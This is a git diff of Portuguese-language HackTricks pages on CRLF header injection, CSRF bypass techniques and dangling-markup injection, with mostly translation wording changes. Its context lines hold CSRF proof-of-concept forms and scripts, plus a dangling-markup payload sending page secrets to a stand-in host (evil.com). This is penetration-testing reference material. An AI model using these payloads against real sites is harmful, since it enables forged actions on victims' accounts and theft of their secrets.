<figure><img src="../.gitbook/assets/image (6) (1) (4).png" alt="https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/ba72cd16-2ca0-447b-aa70-5cde302a0b88/body-578d9f9f-1977-4e34-841c-ad870492328f_10.png?w=1322&h=178&auto=format&fit=crop"><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (6) (1) (4).png" alt="https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/ba72cd16-2ca0-447b-aa70-5cde302a0b88/body-578d9f9f-1977-4e34-841c-ad870492328f_10.png?w=1322&h=178&auto=format&fit=crop"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
@ -168,7 +168,7 @@ Além disso, os pesquisadores também descobriram que poderiam dessincronizar as
|
||||||
|
|
||||||
### Como Prevenir Injeções de CRLF / Cabeçalhos HTTP em Aplicações Web
|
### Como Prevenir Injeções de CRLF / Cabeçalhos HTTP em Aplicações Web
|
||||||
|
|
||||||
Para mitigar os riscos de Injeções de CRLF (Carriage Return and Line Feed) ou Cabeçalhos HTTP em aplicações web, as seguintes estratégias são recomendadas:
|
Para mitigar os riscos de Injeções de CRLF (Carriage Return e Line Feed) ou Cabeçalhos HTTP em aplicações web, as seguintes estratégias são recomendadas:
|
||||||
|
|
||||||
1. **Evitar Entrada Direta do Usuário nos Cabeçalhos de Resposta:**
|
1. **Evitar Entrada Direta do Usuário nos Cabeçalhos de Resposta:**
|
||||||
A abordagem mais segura é abster-se de incorporar entrada fornecida pelo usuário diretamente nos cabeçalhos de resposta.
|
A abordagem mais segura é abster-se de incorporar entrada fornecida pelo usuário diretamente nos cabeçalhos de resposta.
|
||||||
|
@ -179,7 +179,6 @@ Se evitar a entrada direta do usuário não for viável, certifique-se de empreg
|
||||||
3. **Atualizar a Linguagem de Programação:**
|
3. **Atualizar a Linguagem de Programação:**
|
||||||
Atualize regularmente a linguagem de programação utilizada em suas aplicações web para a versão mais recente. Opte por uma versão que naturalmente impeça a injeção de caracteres CR e LF dentro de funções encarregadas de definir cabeçalhos HTTP.
|
Atualize regularmente a linguagem de programação utilizada em suas aplicações web para a versão mais recente. Opte por uma versão que naturalmente impeça a injeção de caracteres CR e LF dentro de funções encarregadas de definir cabeçalhos HTTP.
|
||||||
|
|
||||||
|
|
||||||
### CHEATSHEET
|
### CHEATSHEET
|
||||||
|
|
||||||
[Cheatsheet from here](https://twitter.com/NinadMishra5/status/1650080604174667777)
|
[Cheatsheet from here](https://twitter.com/NinadMishra5/status/1650080604174667777)
|
||||||
|
@ -219,7 +218,7 @@ Atualize regularmente a linguagem de programação utilizada em suas aplicaçõe
|
||||||
* [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
|
* [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
|
||||||
* [**https://www.netsparker.com/blog/web-security/crlf-http-header/**](https://www.netsparker.com/blog/web-security/crlf-http-header/)
|
* [**https://www.netsparker.com/blog/web-security/crlf-http-header/**](https://www.netsparker.com/blog/web-security/crlf-http-header/)
|
||||||
|
|
||||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||||
|
|
||||||
Se você está interessado em **carreira de hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
|
Se você está interessado em **carreira de hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
|
||||||
|
|
||||||
|
@ -234,7 +233,7 @@ Outras formas de apoiar o HackTricks:
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -6,10 +6,10 @@
|
||||||
|
|
||||||
Outras maneiras de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -19,7 +19,7 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de recompensas por bugs!
|
Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de recompensas por bugs!
|
||||||
|
|
||||||
**Percepções de Hacking**\
|
**Percepções de Hacking**\
|
||||||
Engaje-se com conteúdo que explora a emoção e os desafios do hacking
|
Envolver-se com conteúdo que explora a emoção e os desafios do hacking
|
||||||
|
|
||||||
**Notícias de Hacking em Tempo Real**\
|
**Notícias de Hacking em Tempo Real**\
|
||||||
Mantenha-se atualizado com o mundo acelerado do hacking por meio de notícias e percepções em tempo real
|
Mantenha-se atualizado com o mundo acelerado do hacking por meio de notícias e percepções em tempo real
|
||||||
|
@ -32,14 +32,14 @@ Fique informado sobre os novos programas de recompensas por bugs lançados e atu
|
||||||
|
|
||||||
## Explicação de Cross-Site Request Forgery (CSRF)
|
## Explicação de Cross-Site Request Forgery (CSRF)
|
||||||
|
|
||||||
**Cross-Site Request Forgery (CSRF)** é um tipo de vulnerabilidade de segurança encontrada em aplicações web. Ele permite que atacantes realizem ações em nome de usuários desavisados, explorando suas sessões autenticadas. O ataque é executado quando um usuário, que está logado na plataforma de uma vítima, visita um site malicioso. Este site então aciona solicitações na conta da vítima por meio de métodos como executar JavaScript, enviar formulários ou buscar imagens.
|
**Cross-Site Request Forgery (CSRF)** é um tipo de vulnerabilidade de segurança encontrada em aplicações web. Ele permite que atacantes realizem ações em nome de usuários desavisados, explorando suas sessões autenticadas. O ataque é executado quando um usuário, que está logado na plataforma de uma vítima, visita um site malicioso. Este site então aciona solicitações na conta da vítima por meio de métodos como execução de JavaScript, envio de formulários ou busca de imagens.
|
||||||
|
|
||||||
### Pré-requisitos para um Ataque CSRF
|
### Pré-requisitos para um Ataque CSRF
|
||||||
Para explorar uma vulnerabilidade CSRF, várias condições devem ser atendidas:
|
Para explorar uma vulnerabilidade CSRF, várias condições devem ser atendidas:
|
||||||
|
|
||||||
1. **Identificar uma Ação Valiosa**: O atacante precisa encontrar uma ação que valha a pena explorar, como alterar a senha do usuário, e-mail ou elevar privilégios.
|
1. **Identificar uma Ação Valiosa**: O atacante precisa encontrar uma ação que valha a pena explorar, como alterar a senha do usuário, e-mail ou elevar privilégios.
|
||||||
2. **Gerenciamento de Sessão**: A sessão do usuário deve ser gerenciada exclusivamente por meio de cookies ou do cabeçalho de Autenticação Básica HTTP, pois outros cabeçalhos não podem ser manipulados para esse fim.
|
2. **Gerenciamento de Sessão**: A sessão do usuário deve ser gerenciada exclusivamente por meio de cookies ou do cabeçalho de Autenticação Básica HTTP, pois outros cabeçalhos não podem ser manipulados para esse fim.
|
||||||
3. **Ausência de Parâmetros Imprévisíveis**: A solicitação não deve conter parâmetros imprevisíveis, pois eles podem impedir o ataque.
|
3. **Ausência de Parâmetros Impraticáveis**: A solicitação não deve conter parâmetros imprevisíveis, pois eles podem impedir o ataque.
|
||||||
|
|
||||||
### Defendendo-se Contra CSRF
|
### Defendendo-se Contra CSRF
|
||||||
Várias contramedidas podem ser implementadas para se proteger contra ataques CSRF:
|
Várias contramedidas podem ser implementadas para se proteger contra ataques CSRF:
|
||||||
|
@ -59,11 +59,11 @@ Compreender e implementar essas defesas é crucial para manter a segurança e in
|
||||||
|
|
||||||
### De POST para GET
|
### De POST para GET
|
||||||
|
|
||||||
Talvez o formulário que você deseja abusar esteja preparado para enviar uma **solicitação POST com um token CSRF, mas**, você deve **verificar** se um **GET** também é **válido** e se, ao enviar uma solicitação GET, o **token CSRF ainda está sendo validado**.
|
Talvez o formulário que você deseja explorar esteja preparado para enviar uma **solicitação POST com um token CSRF, mas**, você deve **verificar** se um **GET** também é **válido** e se, ao enviar uma solicitação GET, o **token CSRF ainda está sendo validado**.
|
||||||
|
|
||||||
### Falta de token
|
### Falta de token
|
||||||
|
|
||||||
Aplicações podem implementar um mecanismo para **validar tokens** quando estão presentes. No entanto, uma vulnerabilidade surge se a validação for ignorada completamente quando o token estiver ausente. Os atacantes podem explorar isso **removendo o parâmetro** que carrega o token, não apenas seu valor. Isso permite que eles contornem o processo de validação e realizem um ataque de Cross-Site Request Forgery (CSRF) de forma eficaz.
|
Aplicações podem implementar um mecanismo para **validar tokens** quando estão presentes. No entanto, surge uma vulnerabilidade se a validação for ignorada completamente quando o token está ausente. Os atacantes podem explorar isso **removendo o parâmetro** que carrega o token, não apenas seu valor. Isso permite que eles contornem o processo de validação e realizem um ataque de Cross-Site Request Forgery (CSRF) de forma eficaz.
|
||||||
|
|
||||||
### Token CSRF não está vinculado à sessão do usuário
|
### Token CSRF não está vinculado à sessão do usuário
|
||||||
|
|
||||||
|
@ -75,11 +75,11 @@ Veja como os atacantes exploram isso:
|
||||||
2. **Obtêm um token CSRF válido** do pool global.
|
2. **Obtêm um token CSRF válido** do pool global.
|
||||||
3. **Usam este token** em um ataque CSRF contra uma vítima.
|
3. **Usam este token** em um ataque CSRF contra uma vítima.
|
||||||
|
|
||||||
Essa vulnerabilidade permite que os atacantes façam solicitações não autorizadas em nome da vítima, explorando o mecanismo de validação de token inadequado da aplicação.
|
Essa vulnerabilidade permite que os atacantes façam solicitações não autorizadas em nome da vítima, explorando o **mecanismo de validação de token inadequado** da aplicação.
|
||||||
|
|
||||||
### Bypass de Método
|
### Bypass de Método
|
||||||
|
|
||||||
Se a solicitação estiver usando um **"método estranho"**, verifique se a **funcionalidade de substituição de método** está funcionando.
|
Se a solicitação estiver usando um **método "estranho"**, verifique se a **funcionalidade de substituição de método** está funcionando.
|
||||||
Por exemplo, se estiver **usando um método PUT**, você pode tentar **usar um método POST** e **enviar**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
|
Por exemplo, se estiver **usando um método PUT**, você pode tentar **usar um método POST** e **enviar**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
|
||||||
|
|
||||||
Isso também pode funcionar enviando o **parâmetro \_method dentro de uma solicitação POST** ou usando os **cabeçalhos**:
|
Isso também pode funcionar enviando o **parâmetro \_method dentro de uma solicitação POST** ou usando os **cabeçalhos**:
|
||||||
|
@ -92,14 +92,14 @@ Isso também pode funcionar enviando o **parâmetro \_method dentro de uma solic
|
||||||
|
|
||||||
Se a solicitação estiver adicionando um **cabeçalho personalizado** com um **token** à solicitação como **método de proteção CSRF**, então:
|
Se a solicitação estiver adicionando um **cabeçalho personalizado** com um **token** à solicitação como **método de proteção CSRF**, então:
|
||||||
|
|
||||||
* Teste a solicitação sem o **Token Personalizado e também o cabeçalho.**
|
* Teste a solicitação sem o **Token Personalizado e também o cabeçalho**.
|
||||||
* Teste a solicitação com um **token de mesmo comprimento, mas diferente**.
|
* Teste a solicitação com **mesmo comprimento, mas token diferente**.
|
||||||
|
|
||||||
### Token CSRF é verificado por um cookie
|
### Token CSRF é verificado por um cookie
|
||||||
|
|
||||||
Aplicações podem implementar proteção CSRF duplicando o token em um cookie e em um parâmetro de solicitação ou configurando um cookie CSRF e verificando se o token enviado no backend corresponde ao cookie. A aplicação valida solicitações verificando se o token no parâmetro de solicitação está alinhado com o valor no cookie.
|
Aplicações podem implementar proteção CSRF duplicando o token em um cookie e em um parâmetro de solicitação ou definindo um cookie CSRF e verificando se o token enviado no backend corresponde ao cookie. A aplicação valida solicitações verificando se o token no parâmetro de solicitação está alinhado com o valor no cookie.
|
||||||
|
|
||||||
No entanto, este método é vulnerável a ataques CSRF se o site tiver falhas que permitam a um atacante definir um cookie CSRF no navegador da vítima, como uma vulnerabilidade CRLF. O atacante pode explorar isso carregando uma imagem enganosa que define o cookie, seguido pela iniciativa do ataque CSRF.
|
No entanto, esse método é vulnerável a ataques CSRF se o site tiver falhas que permitam a um atacante definir um cookie CSRF no navegador da vítima, como uma vulnerabilidade CRLF. O atacante pode explorar isso carregando uma imagem enganosa que define o cookie, seguido pela iniciativa do ataque CSRF.
|
||||||
|
|
||||||
Abaixo está um exemplo de como um ataque poderia ser estruturado:
|
Abaixo está um exemplo de como um ataque poderia ser estruturado:
|
||||||
```html
|
```html
|
||||||
|
@ -118,16 +118,16 @@ Abaixo está um exemplo de como um ataque poderia ser estruturado:
|
||||||
|
|
||||||
```
|
```
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Note que se o **token csrf estiver relacionado com o cookie de sessão esse ataque não funcionará** porque você precisará definir a sessão da vítima, e portanto estará atacando a si mesmo.
|
Note que se o **token csrf estiver relacionado com o cookie de sessão, este ataque não funcionará** porque você precisará definir a sessão da vítima, e, portanto, estará atacando a si mesmo.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### Alteração do Content-Type
|
### Alteração do Content-Type
|
||||||
|
|
||||||
De acordo com [**este**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests), para **evitar solicitações de pré-voo** usando o método **POST** esses são os valores de Content-Type permitidos:
|
De acordo com [**este**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests), para **evitar solicitações de pré-voo** usando o método **POST**, estes são os valores de Content-Type permitidos:
|
||||||
|
|
||||||
* **`application/x-www-form-urlencoded`**
|
- **`application/x-www-form-urlencoded`**
|
||||||
* **`multipart/form-data`**
|
- **`multipart/form-data`**
|
||||||
* **`text/plain`**
|
- **`text/plain`**
|
||||||
|
|
||||||
No entanto, observe que a **lógica dos servidores pode variar** dependendo do **Content-Type** usado, então você deve tentar os valores mencionados e outros como **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
|
No entanto, observe que a **lógica dos servidores pode variar** dependendo do **Content-Type** usado, então você deve tentar os valores mencionados e outros como **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
|
||||||
|
|
||||||
|
@ -154,17 +154,17 @@ Ao tentar enviar dados JSON via uma solicitação POST, usar o `Content-Type: ap
|
||||||
|
|
||||||
3. **Utilização de Arquivo Flash SWF**: Um método menos comum, mas viável, envolve o uso de um arquivo flash SWF para contornar tais restrições. Para uma compreensão mais aprofundada dessa técnica, consulte [este post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
|
3. **Utilização de Arquivo Flash SWF**: Um método menos comum, mas viável, envolve o uso de um arquivo flash SWF para contornar tais restrições. Para uma compreensão mais aprofundada dessa técnica, consulte [este post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
|
||||||
|
|
||||||
### Bypass de Verificação de Referência / Origem
|
### Bypass de Verificação de Referrer / Origin
|
||||||
|
|
||||||
**Evitar Cabeçalho de Referência**
|
**Evitar o cabeçalho Referrer**
|
||||||
|
|
||||||
As aplicações podem validar o cabeçalho 'Referer' apenas quando ele está presente. Para evitar que o navegador envie este cabeçalho, a seguinte tag meta HTML pode ser usada:
|
As aplicações podem validar o cabeçalho 'Referer' apenas quando ele está presente. Para evitar que um navegador envie este cabeçalho, a seguinte tag meta HTML pode ser usada:
|
||||||
```xml
|
```xml
|
||||||
<meta name="referrer" content="never">
|
<meta name="referrer" content="never">
|
||||||
```
|
```
|
||||||
Isso garante que o cabeçalho 'Referer' seja omitido, potencialmente contornando verificações de validação em algumas aplicações.
|
Isso garante que o cabeçalho 'Referer' seja omitido, potencialmente contornando verificações de validação em algumas aplicações.
|
||||||
|
|
||||||
**Burlas de Regexp**
|
**Burlar Regexp**
|
||||||
|
|
||||||
{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %}
|
{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %}
|
||||||
[url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md)
|
[url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md)
|
||||||
|
@ -189,7 +189,7 @@ document.forms[0].submit();
|
||||||
</body>
|
</body>
|
||||||
</html>
|
</html>
|
||||||
```
|
```
|
||||||
### **Bypass do método HEAD**
|
### **Bypassando o método HEAD**
|
||||||
|
|
||||||
A primeira parte [**deste relatório CTF**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) explica que [o código-fonte do Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281), um roteador é configurado para **lidar com solicitações HEAD como solicitações GET** sem corpo de resposta - uma solução comum que não é exclusiva do Oak. Em vez de um manipulador específico que lida com solicitações HEAD, elas são simplesmente **enviadas para o manipulador GET, mas o aplicativo apenas remove o corpo da resposta**.
|
A primeira parte [**deste relatório CTF**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) explica que [o código-fonte do Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281), um roteador é configurado para **lidar com solicitações HEAD como solicitações GET** sem corpo de resposta - uma solução comum que não é exclusiva do Oak. Em vez de um manipulador específico que lida com solicitações HEAD, elas são simplesmente **enviadas para o manipulador GET, mas o aplicativo apenas remove o corpo da resposta**.
|
||||||
|
|
||||||
|
@ -199,7 +199,7 @@ Portanto, se uma solicitação GET estiver sendo limitada, você poderia simples
|
||||||
|
|
||||||
### **Exfiltrando Token CSRF**
|
### **Exfiltrando Token CSRF**
|
||||||
|
|
||||||
Se um **token CSRF** estiver sendo usado como **defesa**, você poderia tentar **exfiltrá-lo** abusando de uma vulnerabilidade de [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens) ou de uma vulnerabilidade de [**Dangling Markup**](dangling-markup-html-scriptless-injection/).
|
Se um **token CSRF** estiver sendo usado como **defesa**, você poderia tentar **exfiltrá-lo** abusando de uma vulnerabilidade [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens) ou uma vulnerabilidade [**Dangling Markup**](dangling-markup-html-scriptless-injection/).
|
||||||
|
|
||||||
### **GET usando tags HTML**
|
### **GET usando tags HTML**
|
||||||
```xml
|
```xml
|
||||||
|
@ -260,7 +260,7 @@ document.forms[0].submit(); //Way 3 to autosubmit
|
||||||
</body>
|
</body>
|
||||||
</html>
|
</html>
|
||||||
```
|
```
|
||||||
### Solicitação POST de formulário por meio de iframe
|
### Enviar solicitação POST de formulário por meio de um iframe
|
||||||
```html
|
```html
|
||||||
<!--
|
<!--
|
||||||
The request is sent through the iframe withuot reloading the page
|
The request is sent through the iframe withuot reloading the page
|
||||||
|
@ -338,7 +338,7 @@ body += "--" + boundary + "--";
|
||||||
//xhr.send(body);
|
//xhr.send(body);
|
||||||
xhr.sendAsBinary(body);
|
xhr.sendAsBinary(body);
|
||||||
```
|
```
|
||||||
### Solicitação POST de formulário de dentro de um iframe
|
### Enviar solicitação POST de um formulário de dentro de um iframe
|
||||||
```html
|
```html
|
||||||
<--! expl.html -->
|
<--! expl.html -->
|
||||||
|
|
||||||
|
@ -590,20 +590,20 @@ Engaje-se com conteúdo que explora a emoção e os desafios do hacking
|
||||||
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real
|
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real
|
||||||
|
|
||||||
**Últimos Anúncios**\
|
**Últimos Anúncios**\
|
||||||
Fique informado sobre os mais recentes programas de recompensas por bugs lançados e atualizações cruciais na plataforma
|
Fique informado sobre os mais novos programas de recompensas por bugs lançados e atualizações cruciais na plataforma
|
||||||
|
|
||||||
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!
|
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking AWS de zero a herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras formas de apoiar o HackTricks:
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,21 +2,21 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras maneiras de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## Resumo
|
## Resumo
|
||||||
|
|
||||||
Essa técnica pode ser usada para extrair informações de um usuário quando uma **injeção HTML é encontrada**. Isso é muito útil se você **não encontrar nenhuma maneira de explorar um** [**XSS** ](../xss-cross-site-scripting/)mas você pode **injetar algumas tags HTML**.\
|
Essa técnica pode ser usada para extrair informações de um usuário quando uma **injeção HTML é encontrada**. Isso é muito útil se você **não encontrar nenhuma maneira de explorar um** [**XSS** ](../xss-cross-site-scripting/)mas puder **injetar algumas tags HTML**.\
|
||||||
Também é útil se algum **segredo estiver salvo em texto claro** no HTML e você quiser **exfiltrá-lo** do cliente, ou se quiser enganar a execução de algum script.
|
Também é útil se algum **segredo estiver salvo em texto claro** no HTML e você quiser **exfiltrá-lo** do cliente, ou se quiser enganar a execução de algum script.
|
||||||
|
|
||||||
Várias técnicas comentadas aqui podem ser usadas para contornar algumas [**Políticas de Segurança de Conteúdo**](../content-security-policy-csp-bypass/) extraindo informações de maneiras inesperadas (tags html, CSS, tags http-meta, formulários, base...).
|
Várias técnicas comentadas aqui podem ser usadas para contornar algumas [**Políticas de Segurança de Conteúdo**](../content-security-policy-csp-bypass/) extraindo informações de maneiras inesperadas (tags html, CSS, tags http-meta, formulários, base...).
|
||||||
|
@ -25,7 +25,7 @@ Várias técnicas comentadas aqui podem ser usadas para contornar algumas [**Pol
|
||||||
|
|
||||||
### Roubo de segredos em texto claro
|
### Roubo de segredos em texto claro
|
||||||
|
|
||||||
Se você injetar `<img src='http://evil.com/log.cgi?` quando a página é carregada, a vítima enviará a você todo o código entre a tag `img` injetada e a próxima aspas dentro do código. Se um segredo estiver de alguma forma localizado nesse trecho, você o roubará (você pode fazer a mesma coisa usando aspas duplas, veja qual poderia ser mais interessante de usar).
|
